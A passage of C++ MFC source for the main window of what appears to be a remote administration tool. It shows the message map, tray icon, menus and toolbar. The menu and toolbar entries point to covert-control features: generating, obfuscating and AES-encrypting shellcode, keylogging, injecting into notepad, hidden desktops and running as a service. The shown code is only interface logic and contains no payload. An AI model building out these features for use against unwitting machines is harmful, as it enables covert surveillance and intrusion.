    ON_COMMAND(ID_TOOL_GEN_MASTER, &CMy2015RemoteDlg::OnToolGenMaster)
    ON_COMMAND(ID_MAIN_PROXY, &CMy2015RemoteDlg::OnMainProxy)
    ON_COMMAND(ID_ONLINE_HOSTNOTE, &CMy2015RemoteDlg::OnOnlineHostnote)
    ON_COMMAND(ID_HELP_IMPORTANT, &CMy2015RemoteDlg::OnHelpImportant)
    ON_COMMAND(ID_HELP_FEEDBACK, &CMy2015RemoteDlg::OnHelpFeedback)
    // 将所有动态子菜单项的命令 ID 映射到同一个响应函数
    ON_COMMAND_RANGE(ID_DYNAMIC_MENU_BASE, ID_DYNAMIC_MENU_BASE + 20, &CMy2015RemoteDlg::OnDynamicSubMenu)
    ON_COMMAND(ID_ONLINE_VIRTUAL_DESKTOP, &CMy2015RemoteDlg::OnOnlineVirtualDesktop)
    ON_COMMAND(ID_ONLINE_GRAY_DESKTOP, &CMy2015RemoteDlg::OnOnlineGrayDesktop)
    ON_COMMAND(ID_ONLINE_REMOTE_DESKTOP, &CMy2015RemoteDlg::OnOnlineRemoteDesktop)
    ON_COMMAND(ID_ONLINE_H264_DESKTOP, &CMy2015RemoteDlg::OnOnlineH264Desktop)
    ON_COMMAND(ID_WHAT_IS_THIS, &CMy2015RemoteDlg::OnWhatIsThis)
    ON_COMMAND(ID_ONLINE_AUTHORIZE, &CMy2015RemoteDlg::OnOnlineAuthorize)
    ON_NOTIFY(NM_DBLCLK, IDC_ONLINE, &CMy2015RemoteDlg::OnListClick)
    ON_COMMAND(ID_ONLINE_UNAUTHORIZE, &CMy2015RemoteDlg::OnOnlineUnauthorize)
    ON_COMMAND(ID_TOOL_REQUEST_AUTH, &CMy2015RemoteDlg::OnToolRequestAuth)
    ON_COMMAND(ID_TOOL_INPUT_PASSWORD, &CMy2015RemoteDlg::OnToolInputPassword)
    ON_COMMAND(ID_TOOL_GEN_SHELLCODE, &CMy2015RemoteDlg::OnToolGenShellcode)
    ON_COMMAND(ID_ONLINE_ASSIGN_TO, &CMy2015RemoteDlg::OnOnlineAssignTo)
    ON_NOTIFY(NM_CUSTOMDRAW, IDC_MESSAGE, &CMy2015RemoteDlg::OnNMCustomdrawMessage)
    ON_NOTIFY(NM_RCLICK, IDC_MESSAGE, &CMy2015RemoteDlg::OnRClickMessage)
    ON_COMMAND(ID_MSGLOG_DELETE, &CMy2015RemoteDlg::OnMsglogDelete)
    ON_COMMAND(ID_MSGLOG_CLEAR, &CMy2015RemoteDlg::OnMsglogClear)
    ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch)
    ON_COMMAND(ID_ONLINE_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnOnlineLoginNotify)
    ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline)
    ON_COMMAND(ID_ONLINE_RUN_AS_ADMIN, &CMy2015RemoteDlg::OnOnlineRunAsAdmin)
    ON_COMMAND(ID_MAIN_WALLET, &CMy2015RemoteDlg::OnMainWallet)
    ON_COMMAND(ID_MAIN_NETWORK, &CMy2015RemoteDlg::OnMainNetwork)
    ON_COMMAND(ID_TOOL_RCEDIT, &CMy2015RemoteDlg::OnToolRcedit)
    ON_COMMAND(ID_ONLINE_UNINSTALL, &CMy2015RemoteDlg::OnOnlineUninstall)
    ON_COMMAND(ID_ONLINE_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnOnlinePrivateScreen)
    ON_NOTIFY(TCN_SELCHANGE, IDC_GROUP_TAB, &CMy2015RemoteDlg::OnSelchangeGroupTab)
    ON_COMMAND(ID_OBFS_SHELLCODE, &CMy2015RemoteDlg::OnObfsShellcode)
    ON_COMMAND(ID_ONLINE_REGROUP, &CMy2015RemoteDlg::OnOnlineRegroup)
    ON_COMMAND(ID_MACHINE_SHUTDOWN, &CMy2015RemoteDlg::OnMachineShutdown)
    ON_COMMAND(ID_MACHINE_REBOOT, &CMy2015RemoteDlg::OnMachineReboot)
    ON_COMMAND(ID_EXECUTE_DOWNLOAD, &CMy2015RemoteDlg::OnExecuteDownload)
    ON_COMMAND(ID_EXECUTE_UPLOAD, &CMy2015RemoteDlg::OnExecuteUpload)
    ON_COMMAND(ID_MACHINE_LOGOUT, &CMy2015RemoteDlg::OnMachineLogout)
    ON_WM_DESTROY()
    ON_MESSAGE(WM_SESSION_ACTIVATED, &CMy2015RemoteDlg::OnSessionActivatedMsg)
    ON_COMMAND(ID_TOOL_GEN_SHELLCODE_BIN, &CMy2015RemoteDlg::OnToolGenShellcodeBin)
    ON_COMMAND(ID_SHELLCODE_LOAD_TEST, &CMy2015RemoteDlg::OnShellcodeLoadTest)
    ON_COMMAND(ID_SHELLCODE_OBFS_LOAD_TEST, &CMy2015RemoteDlg::OnShellcodeObfsLoadTest)
    ON_COMMAND(ID_OBFS_SHELLCODE_BIN, &CMy2015RemoteDlg::OnObfsShellcodeBin)
    ON_COMMAND(ID_SHELLCODE_AES_BIN, &CMy2015RemoteDlg::OnShellcodeAesBin)
    ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin)
    ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
    ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
    ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
    ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
    ON_COMMAND(ID_PARAM_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnParamLoginNotify)
    ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog)
    ON_COMMAND(ID_PARAM_PRIVACY_WALLPAPER, &CMy2015RemoteDlg::OnParamPrivacyWallpaper)
    ON_COMMAND(ID_PARAM_FILE_V2, &CMy2015RemoteDlg::OnParamFileV2)
    ON_COMMAND(ID_PARAM_RUN_AS_USER, &CMy2015RemoteDlg::OnParamRunAsUser)
    ON_COMMAND(ID_PROXY_PORT, &CMy2015RemoteDlg::OnProxyPort)
    ON_COMMAND(ID_HOOK_WIN, &CMy2015RemoteDlg::OnHookWin)
    ON_COMMAND(ID_RUNAS_SERVICE, &CMy2015RemoteDlg::OnRunasService)
    ON_COMMAND(ID_HISTORY_CLIENTS, &CMy2015RemoteDlg::OnHistoryClients)
    ON_COMMAND(ID_BACKUP_DATA, &CMy2015RemoteDlg::OnBackupData)
    ON_COMMAND(ID_PLUGIN_REQUEST, &CMy2015RemoteDlg::OnPluginRequest)
    ON_COMMAND(ID_CHANGE_LANG, &CMy2015RemoteDlg::OnChangeLang)
    ON_COMMAND(ID_IMPORT_DATA, &CMy2015RemoteDlg::OnImportData)
    ON_COMMAND(ID_PROXY_PORT_STD, &CMy2015RemoteDlg::OnProxyPortStd)
    ON_COMMAND(ID_CHOOSE_LANG_DIR, &CMy2015RemoteDlg::OnChooseLangDir)
    ON_COMMAND(ID_LOCATION_QQWRY, &CMy2015RemoteDlg::OnLocationQqwry)
    ON_COMMAND(ID_LOCATION_IP2REGION, &CMy2015RemoteDlg::OnLocationIp2region)
    ON_COMMAND(ID_TOOL_LICENSE_MGR, &CMy2015RemoteDlg::OnToolLicenseMgr)
    ON_COMMAND(ID_TOOL_IMPORT_LICENSE, &CMy2015RemoteDlg::OnToolImportLicense)
    ON_COMMAND(ID_TOOL_V2_PRIVATEKEY, &CMy2015RemoteDlg::OnToolV2PrivateKey)
    ON_COMMAND(ID_MENU_NOTIFY_SETTINGS, &CMy2015RemoteDlg::OnMenuNotifySettings)
        ON_COMMAND(ID_EXECUTE_TESTRUN, &CMy2015RemoteDlg::OnExecuteTestrun)
        ON_COMMAND(ID_EXECUTE_GHOST, &CMy2015RemoteDlg::OnExecuteGhost)
        ON_COMMAND(ID_MASTER_TRAIL, &CMy2015RemoteDlg::OnMasterTrail)
        ON_COMMAND(ID_FRPS_FOR_SUB, &CMy2015RemoteDlg::OnFrpsForSub)
        ON_COMMAND(ID_CANCEL_SHARE, &CMy2015RemoteDlg::OnCancelShare)
        ON_COMMAND(ID_WEB_REMOTE_CONTROL, &CMy2015RemoteDlg::OnWebRemoteControl)
        END_MESSAGE_MAP()


// CMy2015RemoteDlg 消息处理程序
void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
{
    switch ((UINT)lParam) {
    case WM_LBUTTONDOWN: {
        if (IsIconic()) {
            ShowWindow(SW_SHOW);
            break;
        }
        ShowWindow(IsWindowVisible() ? SW_HIDE : SW_SHOW);
        SetForegroundWindow();
        break;
    }
    case WM_RBUTTONDOWN: {
        CMenu Menu;
        Menu.LoadMenu(IDR_MENU_NOTIFY);
        TranslateMenu(&Menu);
        // Set tray menu icons
        Menu.SetMenuItemBitmaps(IDM_NOTIFY_SHOW, MF_BYCOMMAND, &m_bmOnline[25], &m_bmOnline[25]);
        Menu.SetMenuItemBitmaps(ID_NOTIFY_EXIT, MF_BYCOMMAND, &m_bmOnline[26], &m_bmOnline[26]);
        CPoint Point;
        GetCursorPos(&Point);
        SetForegroundWindow();   //设置当前窗口
        Menu.GetSubMenu(0)->TrackPopupMenu(
                TPM_LEFTBUTTON|TPM_RIGHTBUTTON,
                Point.x, Point.y, this, NULL);

        break;
    }
    }
}

// 通过菜单项ID查找子菜单（避免硬编码索引，菜单项删除后索引会变化）
CMenu* CMy2015RemoteDlg::FindSubMenuByCommand(CMenu* pParent, UINT commandId)
{
    if (!pParent) return nullptr;
    for (UINT i = 0; i < pParent->GetMenuItemCount(); i++) {
        CMenu* pSub = pParent->GetSubMenu(i);
        if (pSub && pSub->GetMenuState(commandId, MF_BYCOMMAND) != (UINT)-1) {
            return pSub;
        }
    }
    return nullptr;
}

VOID CMy2015RemoteDlg::CreateSolidMenu()
{
    m_MainMenu.LoadMenu(IDR_MENU_MAIN);
    TranslateMenu(&m_MainMenu);
    CMenu* SubMenu = m_MainMenu.GetSubMenu(1);
    std::string masterHash(GetMasterHash());
	std::string pwd = THIS_CFG.GetStr("settings", "Password");
    if (pwd.empty()) {
        SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND);
    }
    SubMenu = m_MainMenu.GetSubMenu(4);
    if (!pwd.empty()) {
        SubMenu->ModifyMenuL(ID_TOOL_REQUEST_AUTH, MF_STRING, ID_TOOL_REQUEST_AUTH, _T("序列号"));
    }

    // Set main menu icons - File menu
    m_MainMenu.SetMenuItemBitmaps(ID_MAIN_SET, MF_BYCOMMAND, &m_bmOnline[27], &m_bmOnline[27]);
    m_MainMenu.SetMenuItemBitmaps(ID_MENU_NOTIFY_SETTINGS, MF_BYCOMMAND, &m_bmOnline[37], &m_bmOnline[37]);
    m_MainMenu.SetMenuItemBitmaps(ID_MAIN_WALLET, MF_BYCOMMAND, &m_bmOnline[28], &m_bmOnline[28]);
    m_MainMenu.SetMenuItemBitmaps(ID_MAIN_NETWORK, MF_BYCOMMAND, &m_bmOnline[29], &m_bmOnline[29]);
    m_MainMenu.SetMenuItemBitmaps(ID_MAIN_EXIT, MF_BYCOMMAND, &m_bmOnline[26], &m_bmOnline[26]);
    // Tools menu
    m_MainMenu.SetMenuItemBitmaps(ID_TOOL_INPUT_PASSWORD, MF_BYCOMMAND, &m_bmOnline[30], &m_bmOnline[30]);
    m_MainMenu.SetMenuItemBitmaps(ID_TOOL_IMPORT_LICENSE, MF_BYCOMMAND, &m_bmOnline[31], &m_bmOnline[31]);
    m_MainMenu.SetMenuItemBitmaps(ID_TOOL_RCEDIT, MF_BYCOMMAND, &m_bmOnline[32], &m_bmOnline[32]);
    m_MainMenu.SetMenuItemBitmaps(ID_TOOL_AUTH, MF_BYCOMMAND, &m_bmOnline[33], &m_bmOnline[33]);
    m_MainMenu.SetMenuItemBitmaps(ID_TOOL_GEN_MASTER, MF_BYCOMMAND, &m_bmOnline[34], &m_bmOnline[34]);
    m_MainMenu.SetMenuItemBitmaps(ID_TOOL_LICENSE_MGR, MF_BYCOMMAND, &m_bmOnline[35], &m_bmOnline[35]);
    m_MainMenu.SetMenuItemBitmaps(ID_TOOL_V2_PRIVATEKEY, MF_BYCOMMAND, /*&m_bmOnline[30]*/0, /*&m_bmOnline[30]*/0);
    // Parameters menu
    m_MainMenu.SetMenuItemBitmaps(ID_PARAM_KBLOGGER, MF_BYCOMMAND, /*&m_bmOnline[36]*/0, /*&m_bmOnline[36]*/0);
    m_MainMenu.SetMenuItemBitmaps(ID_PARAM_LOGIN_NOTIFY, MF_BYCOMMAND, /*&m_bmOnline[37]*/0, /*&m_bmOnline[37]*/0);
    m_MainMenu.SetMenuItemBitmaps(ID_PARAM_ENABLE_LOG, MF_BYCOMMAND, /*&m_bmOnline[38]*/0, /*&m_bmOnline[38]*/0);
    // Extensions menu
    m_MainMenu.SetMenuItemBitmaps(ID_HISTORY_CLIENTS, MF_BYCOMMAND, &m_bmOnline[39], &m_bmOnline[39]);
    m_MainMenu.SetMenuItemBitmaps(ID_BACKUP_DATA, MF_BYCOMMAND, &m_bmOnline[40], &m_bmOnline[40]);
    m_MainMenu.SetMenuItemBitmaps(ID_IMPORT_DATA, MF_BYCOMMAND, &m_bmOnline[41], &m_bmOnline[41]);
    m_MainMenu.SetMenuItemBitmaps(ID_CHANGE_LANG, MF_BYCOMMAND, &m_bmOnline[42], &m_bmOnline[42]);
    m_MainMenu.SetMenuItemBitmaps(ID_TOOL_RELOAD_PLUGINS, MF_BYCOMMAND, &m_bmOnline[43], &m_bmOnline[43]);
    m_MainMenu.SetMenuItemBitmaps(ID_PLUGIN_REQUEST, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]);
    m_MainMenu.SetMenuItemBitmaps(ID_FRPS_FOR_SUB, MF_BYCOMMAND, &m_bmOnline[45], &m_bmOnline[45]);
    // Help menu
    m_MainMenu.SetMenuItemBitmaps(ID_HELP_IMPORTANT, MF_BYCOMMAND, &m_bmOnline[46], &m_bmOnline[46]);
    m_MainMenu.SetMenuItemBitmaps(ID_HELP_FEEDBACK, MF_BYCOMMAND, &m_bmOnline[47], &m_bmOnline[47]);
    m_MainMenu.SetMenuItemBitmaps(ID_WHAT_IS_THIS, MF_BYCOMMAND, &m_bmOnline[46], &m_bmOnline[46]);
    m_MainMenu.SetMenuItemBitmaps(ID_MASTER_TRAIL, MF_BYCOMMAND, &m_bmOnline[48], &m_bmOnline[48]);
    m_MainMenu.SetMenuItemBitmaps(ID_TOOL_REQUEST_AUTH, MF_BYCOMMAND, &m_bmOnline[49], &m_bmOnline[49]);

    // ============================================================
    //  UIBranding: 根据编译时配置隐藏菜单项
    // ============================================================

    // --- 文件菜单 (索引0) ---
    CMenu* pFileMenu = m_MainMenu.GetSubMenu(0);
    if (SHOULD_HIDE_MENU(HIDE_MENU_SETTINGS, MF_SETTINGS))
        pFileMenu->DeleteMenu(ID_MAIN_SET, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_NOTIFY_SETTINGS, MF_NOTIFY_SETTINGS))
        pFileMenu->DeleteMenu(ID_MENU_NOTIFY_SETTINGS, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_WALLET, MF_WALLET))
        pFileMenu->DeleteMenu(ID_MAIN_WALLET, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_NETWORK, MF_NETWORK))
        pFileMenu->DeleteMenu(ID_MAIN_NETWORK, MF_BYCOMMAND);

    // --- 工具菜单 (索引1) ---
    CMenu* pToolMenu = m_MainMenu.GetSubMenu(1);
    if (SHOULD_HIDE_MENU(HIDE_MENU_INPUT_PASSWORD, MF_INPUT_PASSWORD))
        pToolMenu->DeleteMenu(ID_TOOL_INPUT_PASSWORD, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_IMPORT_LICENSE, MF_IMPORT_LICENSE))
        pToolMenu->DeleteMenu(ID_TOOL_IMPORT_LICENSE, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_RCEDIT, MF_RCEDIT))
        pToolMenu->DeleteMenu(ID_TOOL_RCEDIT, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_GEN_AUTH, MF_GEN_AUTH))
        pToolMenu->DeleteMenu(ID_TOOL_AUTH, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_GEN_MASTER, MF_GEN_MASTER))
        pToolMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_LICENSE_MGR, MF_LICENSE_MGR))
        pToolMenu->DeleteMenu(ID_TOOL_LICENSE_MGR, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_V2_PRIVATEKEY, MF_V2_PRIVATEKEY))
        pToolMenu->DeleteMenu(ID_TOOL_V2_PRIVATEKEY, MF_BYCOMMAND);

    // --- 工具菜单 - ShellCode子菜单 ---
    CMenu* pShellCodeMenu = FindSubMenuByCommand(pToolMenu, ID_TOOL_GEN_SHELLCODE);
    if (pShellCodeMenu) {
        if (SHOULD_HIDE_MENU(HIDE_MENU_SHELLCODE_C, MF_SHELLCODE_C))
            pShellCodeMenu->DeleteMenu(ID_TOOL_GEN_SHELLCODE, MF_BYCOMMAND);
        if (SHOULD_HIDE_MENU(HIDE_MENU_SHELLCODE_BIN, MF_SHELLCODE_BIN))
            pShellCodeMenu->DeleteMenu(ID_TOOL_GEN_SHELLCODE_BIN, MF_BYCOMMAND);
        if (SHOULD_HIDE_MENU(HIDE_MENU_SHELLCODE_LOAD_TEST, MF_SHELLCODE_LOAD_TEST))
            pShellCodeMenu->DeleteMenu(ID_SHELLCODE_LOAD_TEST, MF_BYCOMMAND);
        if (SHOULD_HIDE_MENU(HIDE_MENU_SHELLCODE_OBFS, MF_SHELLCODE_OBFS))
            pShellCodeMenu->DeleteMenu(ID_OBFS_SHELLCODE, MF_BYCOMMAND);
        if (SHOULD_HIDE_MENU(HIDE_MENU_SHELLCODE_OBFS_BIN, MF_SHELLCODE_OBFS_BIN))
            pShellCodeMenu->DeleteMenu(ID_OBFS_SHELLCODE_BIN, MF_BYCOMMAND);
        if (SHOULD_HIDE_MENU(HIDE_MENU_SHELLCODE_OBFS_TEST, MF_SHELLCODE_OBFS_TEST))
            pShellCodeMenu->DeleteMenu(ID_SHELLCODE_OBFS_LOAD_TEST, MF_BYCOMMAND);
        if (SHOULD_HIDE_MENU(HIDE_MENU_SHELLCODE_AES_C, MF_SHELLCODE_AES_C))
            pShellCodeMenu->DeleteMenu(ID_SHELLCODE_AES_C_ARRAY, MF_BYCOMMAND);
        if (SHOULD_HIDE_MENU(HIDE_MENU_SHELLCODE_AES_BIN, MF_SHELLCODE_AES_BIN))
            pShellCodeMenu->DeleteMenu(ID_SHELLCODE_AES_BIN, MF_BYCOMMAND);
        if (SHOULD_HIDE_MENU(HIDE_MENU_SHELLCODE_AES_TEST, MF_SHELLCODE_AES_TEST))
            pShellCodeMenu->DeleteMenu(ID_SHELLCODE_TEST_AES_BIN, MF_BYCOMMAND);
        // 如果子菜单为空，删除父级菜单项
        if (pShellCodeMenu->GetMenuItemCount() == 0) {
            for (UINT i = 0; i < pToolMenu->GetMenuItemCount(); i++) {
                if (pToolMenu->GetSubMenu(i) == pShellCodeMenu) {
                    pToolMenu->DeleteMenu(i, MF_BYPOSITION);
                    break;
                }
            }
        }
    }

    // --- 参数菜单 (索引2) ---
    CMenu* pParamMenu = m_MainMenu.GetSubMenu(2);
    if (SHOULD_HIDE_MENU(HIDE_MENU_KBLOGGER, MF_KBLOGGER))
        pParamMenu->DeleteMenu(ID_PARAM_KBLOGGER, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_LOGIN_NOTIFY, MF_LOGIN_NOTIFY))
        pParamMenu->DeleteMenu(ID_PARAM_LOGIN_NOTIFY, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_ENABLE_LOG, MF_ENABLE_LOG))
        pParamMenu->DeleteMenu(ID_PARAM_ENABLE_LOG, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_PRIVACY_WALLPAPER, MF_PRIVACY_WALLPAPER))
        pParamMenu->DeleteMenu(ID_PARAM_PRIVACY_WALLPAPER, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_FILE_V2, MF_FILE_V2))
        pParamMenu->DeleteMenu(ID_PARAM_FILE_V2, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_HOOK_WIN, MF_HOOK_WIN))
        pParamMenu->DeleteMenu(ID_HOOK_WIN, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_RUN_AS_SERVICE, MF_RUN_AS_SERVICE))
        pParamMenu->DeleteMenu(ID_RUNAS_SERVICE, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_RUN_AS_USER, MF_RUN_AS_USER))
        pParamMenu->DeleteMenu(ID_PARAM_RUN_AS_USER, MF_BYCOMMAND);

    // --- 扩展菜单 (索引3) ---
    CMenu* pExtMenu = m_MainMenu.GetSubMenu(3);
    if (SHOULD_HIDE_MENU(HIDE_MENU_HISTORY_CLIENTS, MF_HISTORY_CLIENTS))
        pExtMenu->DeleteMenu(ID_HISTORY_CLIENTS, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_BACKUP_DATA, MF_BACKUP_DATA))
        pExtMenu->DeleteMenu(ID_BACKUP_DATA, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_IMPORT_DATA, MF_IMPORT_DATA))
        pExtMenu->DeleteMenu(ID_IMPORT_DATA, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_RELOAD_PLUGINS, MF_RELOAD_PLUGINS))
        pExtMenu->DeleteMenu(ID_TOOL_RELOAD_PLUGINS, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_PLUGIN_REQUEST, MF_PLUGIN_REQUEST))
        pExtMenu->DeleteMenu(ID_PLUGIN_REQUEST, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_FRPS_FOR_SUB, MF_FRPS_FOR_SUB))
        pExtMenu->DeleteMenu(ID_FRPS_FOR_SUB, MF_BYCOMMAND);

    // --- 扩展菜单 - 语言设置子菜单 ---
    CMenu* pLangMenu = FindSubMenuByCommand(pExtMenu, ID_CHANGE_LANG);
    if (pLangMenu) {
        if (SHOULD_HIDE_MENU(HIDE_MENU_CHANGE_LANG, MF_CHANGE_LANG))
            pLangMenu->DeleteMenu(ID_CHANGE_LANG, MF_BYCOMMAND);
        if (SHOULD_HIDE_MENU(HIDE_MENU_CHOOSE_LANG_DIR, MF_CHOOSE_LANG_DIR))
            pLangMenu->DeleteMenu(ID_CHOOSE_LANG_DIR, MF_BYCOMMAND);
        if (pLangMenu->GetMenuItemCount() == 0) {
            for (UINT i = 0; i < pExtMenu->GetMenuItemCount(); i++) {
                if (pExtMenu->GetSubMenu(i) == pLangMenu) {
                    pExtMenu->DeleteMenu(i, MF_BYPOSITION);
                    break;
                }
            }
        }
    }

    // --- 扩展菜单 - IP定位子菜单 ---
    CMenu* pLocMenu = FindSubMenuByCommand(pExtMenu, ID_LOCATION_QQWRY);
    if (pLocMenu) {
        if (SHOULD_HIDE_MENU(HIDE_MENU_LOCATION_QQWRY, MF_LOCATION_QQWRY))
            pLocMenu->DeleteMenu(ID_LOCATION_QQWRY, MF_BYCOMMAND);
        if (SHOULD_HIDE_MENU(HIDE_MENU_LOCATION_IP2REGION, MF_LOCATION_IP2REGION))
            pLocMenu->DeleteMenu(ID_LOCATION_IP2REGION, MF_BYCOMMAND);
        if (pLocMenu->GetMenuItemCount() == 0) {
            for (UINT i = 0; i < pExtMenu->GetMenuItemCount(); i++) {
                if (pExtMenu->GetSubMenu(i) == pLocMenu) {
                    pExtMenu->DeleteMenu(i, MF_BYPOSITION);
                    break;
                }
            }
        }
    }

    // --- 帮助菜单 (索引4) ---
    CMenu* pHelpMenu = m_MainMenu.GetSubMenu(4);
    if (SHOULD_HIDE_MENU(HIDE_MENU_IMPORTANT, MF_IMPORTANT))
        pHelpMenu->DeleteMenu(ID_HELP_IMPORTANT, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_FEEDBACK, MF_FEEDBACK))
        pHelpMenu->DeleteMenu(ID_HELP_FEEDBACK, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_WHAT_IS_THIS, MF_WHAT_IS_THIS))
        pHelpMenu->DeleteMenu(ID_WHAT_IS_THIS, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_MASTER_TRAIL, MF_MASTER_TRAIL))
        pHelpMenu->DeleteMenu(ID_MASTER_TRAIL, MF_BYCOMMAND);
    if (SHOULD_HIDE_MENU(HIDE_MENU_REQUEST_AUTH, MF_REQUEST_AUTH))
        pHelpMenu->DeleteMenu(ID_TOOL_REQUEST_AUTH, MF_BYCOMMAND);

    ::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); //为窗口设置菜单
    ::DrawMenuBar(this->GetSafeHwnd());                        //显示菜单
}

VOID CMy2015RemoteDlg::CreatStatusBar()
{
    if (!m_StatusBar.Create(this) ||
        !m_StatusBar.SetIndicators(Indicators,
                                   sizeof(Indicators)/sizeof(UINT))) {                  //创建状态条并设置字符资源的ID
        return ;
    }

    CRect rect;
    GetWindowRect(&rect);
    rect.bottom+=20;
    MoveWindow(rect);
}

VOID CMy2015RemoteDlg::CreateNotifyBar()
{
    m_Nid.uVersion = NOTIFYICON_VERSION_4;
    m_Nid.cbSize = sizeof(NOTIFYICONDATA);     //大小赋值
    m_Nid.hWnd = m_hWnd;           //父窗口    是被定义在父类CWnd类中
    m_Nid.uID = IDR_MAINFRAME;     //icon  ID
    m_Nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP;     //托盘所拥有的状态
    m_Nid.uCallbackMessage = UM_ICONNOTIFY;              //回调消息
    m_Nid.hIcon = m_hIcon;                               //icon 变量
    CString strTips = _TR(BRAND_TRAY_TIP);       //气泡提示
    lstrcpyn(m_Nid.szTip, (LPCSTR)strTips, sizeof(m_Nid.szTip) / sizeof(m_Nid.szTip[0]));
    Shell_NotifyIcon(NIM_ADD, &m_Nid);   //显示托盘
}

VOID CMy2015RemoteDlg::CreateToolBar()
{
    if (!m_ToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP
                            | CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||
        !m_ToolBar.LoadToolBar(IDR_TOOLBAR_MAIN)) { //创建一个工具条  加载资源
        return;
    }
    m_ToolBar.LoadTrueColorToolBar
    (
        48,    //加载真彩工具条
        IDB_BITMAP_MAIN,
        IDB_BITMAP_MAIN,
        IDB_BITMAP_MAIN
    );  //和我们的位图资源相关联
    RECT Rect,RectMain;
    GetWindowRect(&RectMain);   //得到整个窗口的大小
    Rect.left=0;
    Rect.top=0;
    Rect.bottom=80;
    Rect.right=RectMain.right-RectMain.left+10;
    m_ToolBar.MoveWindow(&Rect,TRUE);

    m_ToolBar.SetButtonText(0, _TR("终端管理"));     //在位图的下面添加文件
    m_ToolBar.SetButtonText(1, _TR("进程管理"));
    m_ToolBar.SetButtonText(2, _TR("窗口管理"));
    m_ToolBar.SetButtonText(3, _TR("桌面管理"));
    m_ToolBar.SetButtonText(4, _TR("文件管理"));
    m_ToolBar.SetButtonText(5, _TR("语音管理"));
    m_ToolBar.SetButtonText(6, _TR("视频管理"));
    m_ToolBar.SetButtonText(7, _TR("服务管理"));
    m_ToolBar.SetButtonText(8, _TR("注册表管理"));
    m_ToolBar.SetButtonText(9, _TR("键盘记录"));
    m_ToolBar.SetButtonText(10, _TR("参数设置"));
    m_ToolBar.SetButtonText(11, _TR("生成服务端"));
    m_ToolBar.SetButtonText(12, _TR("搜索"));
    m_ToolBar.SetButtonText(13, _TR("帮助"));

    // ============================================================
    //  UIBranding: 根据编译时配置或运行时标志隐藏工具栏按钮
    // ============================================================
    CToolBarCtrl& tbCtrl = m_ToolBar.GetToolBarCtrl();
    int hiddenCount = 0;
    if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_TERMINAL, TF_TERMINAL)) {
        tbCtrl.HideButton(IDM_ONLINE_CMD, TRUE); hiddenCount++;
    }
    if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_PROCESS, TF_PROCESS)) {
        tbCtrl.HideButton(IDM_ONLINE_PROCESS, TRUE); hiddenCount++;
    }
    if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_WINDOW, TF_WINDOW)) {
        tbCtrl.HideButton(IDM_ONLINE_WINDOW, TRUE); hiddenCount++;
    }
    if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_DESKTOP, TF_DESKTOP)) {
        tbCtrl.HideButton(IDM_ONLINE_DESKTOP, TRUE); hiddenCount++;
    }
    if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_FILE, TF_FILE)) {
        tbCtrl.HideButton(IDM_ONLINE_FILE, TRUE); hiddenCount++;
    }
    if (SHOULD_HIDE_TOOLBAR(HIDE_TOOLBAR_AUDIO, TF_AUDIO)) {
